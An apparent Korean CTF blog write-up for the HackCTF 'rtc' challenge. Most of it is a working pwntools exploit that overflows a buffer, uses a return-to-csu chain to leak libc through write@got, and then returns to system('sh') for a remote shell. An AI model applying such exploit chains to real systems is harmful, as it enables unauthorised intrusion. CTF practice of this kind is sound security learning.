Profile

youngsouk

youngsouk

[hackctf]rtc

from pwn import *

#p = process('./rtc')
p = remote('ctf.j0n9hyun.xyz', 3025)
e = ELF('./rtc')
l = e.libc

context.log_level = "debug"

main = 0x00000000004005F6
csu_p_rbx = 0x00000000004006ba
csu_fun = 0x00000000004006A0
stdin = 0x0000000000601050
p_r = 0x00000000004006c3

def fun(f, arg1, arg2, arg3):
	pay = p64(csu_p_rbx)
	pay += p64(0)
	pay += p64(1)
	pay += p64(f)
	pay += p64(arg3)
	pay += p64(arg2)
	pay += p64(arg1)
	pay += p64(csu_fun)
	pay += p64(0) * 7
	return pay


pause()
payload = 'a' * 0x40 + 'b' * 8
payload += fun(e.got['write'], 1, e.got['write'],6)
payload += p64(main)

p.sendline(payload)
p.recvuntil('\x0a')

libc = u64(p.recv(6).ljust(8,'\x00')) - l.sym['write']
log.info('libc : ' + hex(libc))

payload = 'a' * 0x40 + 'b' * 8
payload += p64(p_r)
payload += p64(libc + next(l.search('sh\x00')))
payload += p64(libc + l.sym['system'])

p.sendline(payload)
p.interactive()

 이 문제는 return to csu를 활용해서 하는 문제다

csu_init

이 함수를 이용해서 write함수로 write@got를 출력해서 libc 릭을 해서 익스를 하면 된다. fd에 1을 넣어서 write를 실행시킬 수  있다는 것을 설마하는 생각에 시도를 안해서 오래 걸렸다.ㅠㅠㅠ

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]World_best_encryption_tool  (0) 2019.07.22
[hackctf]register  (0) 2019.07.21
[hackctf]pwning  (0) 2019.07.18
[hackctf]Gift  (0) 2019.07.18
[hackctf]look_at_me  (0) 2019.07.18